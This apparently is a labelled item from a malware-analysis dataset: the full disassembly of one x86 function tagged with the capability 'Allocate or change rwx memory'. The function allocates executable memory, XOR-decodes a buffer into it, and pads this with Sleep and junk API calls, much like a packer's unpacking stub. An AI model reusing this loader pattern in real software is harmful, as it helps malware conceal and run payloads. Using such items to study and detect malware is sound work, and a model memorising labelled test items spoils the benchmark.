Function at 0x404bb5
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f8
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x64], 0
mov edx, dword [ebp - 0x4c]
mov dword [edx], 0xddaf831e
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x50], 0
push 4
mov eax, dword [ebp - 8]
add eax, 0x164
push eax
lea ecx, [ebp - 0x28]
push ecx
call fcn.00401f7c
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x6c], eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0x40
mov edx, dword [ebp - 0x28]
add edx, 0x15
mov dword [ebp - 0x28], edx
mov eax, dword [0x409034]
mov dword [ebp - 4], eax
mov dword [ebp - 0x60], 0
mov ecx, dword [ebp - 4]
sub ecx, 0xafed872
mov dword [ebp - 4], ecx
cmp dword [ebp - 0x60], 0
jne 0x404cf0
mov dword [ebp - 0x5c], 0x40
mov edx, dword [ebp - 0x5c]
push edx
push 0x1000
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x1c0], eax
mov edx, dword [ebp - 4]
mov dword [0x409034], edx
mov eax, dword [ebp - 8]
cmp dword [eax + 0x1c0], 0
jne 0x404cd1
push 0x8000
push 0
mov ecx, dword [ebp - 8]
xor edx, edx
cmp dword [ecx + 0x1c0], 0
sete dl
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1c], 0x57
mov eax, dword [ebp - 0x28]
add eax, 0x456
mov dword [ebp - 0x28], eax
jmp 0x404cf8
push 0
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
mov ecx, dword [ebp - 8]
cmp dword [ecx + 0x1c0], 0
je 0x404d11
mov edx, dword [ebp - 8]
mov dword [edx + 0x1e4], 8
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x1f8]
add ecx, 0x100
mov edx, dword [ebp - 8]
mov dword [edx + 0x1f8], ecx
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 8]
cmp dword [eax + 0x1c0], 0
je 0x404ffe
cmp dword [ebp - 0x1c], 0x57
jne 0x404ffe
mov ecx, dword [ebp - 8]
cmp dword [ecx + 0x1e4], 8
jne 0x404d64
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x1f8]
mov dword [ebp - 0x70], eax
jmp 0x404d71
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x1f8], 0
push 0x140
push 0
lea edx, [ebp - 0x1b4]
push edx
call fcn.00405160
add esp, 0xc
mov eax, dword [ebp - 8]
mov ecx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [eax + 0x214], ecx
mov edx, dword [0x409034]
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 8]
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [eax + 0x124], ecx
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x74], 4
mov edx, dword [ebp - 8]
cmp dword [edx + 0x124], 0
jbe 0x404fdd
mov eax, dword [ebp - 8]
cmp dword [eax + 0x1e4], 8
jne 0x404fdd
mov ecx, dword [ebp - 0x1b8]
add ecx, 1
mov dword [ebp - 0x1b8], ecx
mov dword [ebp - 0x18], 0x434
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 0x1c0], 0x7b
mov edx, dword [ebp - 0x28]
add edx, 0xf4291
mov dword [ebp - 0x28], edx
mov byte [ebp - 0x1d0], 0
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [0x409034]
jae 0x404fdb
cmp dword [ebp - 0x1c0], 0x7b
jne 0x404fdb
mov dword [ebp - 0x68], 0
jmp 0x404e64
mov ecx, dword [ebp - 0x68]
add ecx, 1
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x68], 4
jae 0x404f31
mov eax, dword [ebp - 0x24]
cmp eax, dword [0x409034]
jae 0x404f31
mov byte [ebp - 0x1e8], 0
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 0x1ec], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x1dc], edx
push 1
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x1dc]
push eax
lea ecx, [ebp - 0x1e8]
push ecx
call fcn.00401f7c
add esp, 0xc
mov edx, dword [ebp - 0x68]
mov al, byte [ebp + edx - 0x28]
mov byte [ebp - 0x1f0], al
mov al, byte [ebp - 0x1f0]
push eax
mov al, byte [ebp - 0x1e8]
pop bx
xor al, bl
mov byte [ebp - 0x1c8], al
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x1d4], ecx
lea edx, [ebp - 0x1e8]
mov dword [ebp - 0x1e4], edx
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x1ec], eax
mov ecx, dword [ebp - 0x1ec]
mov dl, byte [ebp - 0x1c8]
mov byte [ecx], dl
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x1c0]
mov dword [ebp - 0x1f4], ecx
mov edx, dword [ebp - 0x1f4]
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1ec]
mov cl, byte [eax]
mov byte [edx], cl
jmp 0x404e52
cmp dword [ebp - 0x24], 0
jbe 0x404fcf
mov dword [ebp - 0x68], 0
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x68]
mov al, byte [edx + 0x100]
mov byte [ebp - 0x1d0], al
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1f8], ecx
mov edx, dword [ebp - 0x70]
add edx, dword [ebp - 0x1f8]
mov al, byte [edx]
mov byte [ebp - 0x1bc], al
mov ah, byte [ebp - 0x1bc]
mov al, byte [ebp - 0x1d0]
xor ah, al
mov byte [ebp - 0x1bc], ah
mov ecx, dword [ebp - 0x68]
add ecx, 2
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x1c0]
mov ecx, dword [ebp - 0x24]
mov dl, byte [ebp - 0x1bc]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x24]
add eax, 2
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x68]
sub ecx, 1
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x74]
jae 0x404fcf
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x50]
jb 0x404f42
mov dword [ebp - 0x64], 1
jmp 0x404e2d
jmp 0x404fe6
mov edx, dword [ebp - 8]
push edx
call fcn.00401fb0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x1c0]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x24]
mov dword [edx + 0x1e0], eax
cmp dword [ebp - 0x64], 0
jne 0x40500b
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret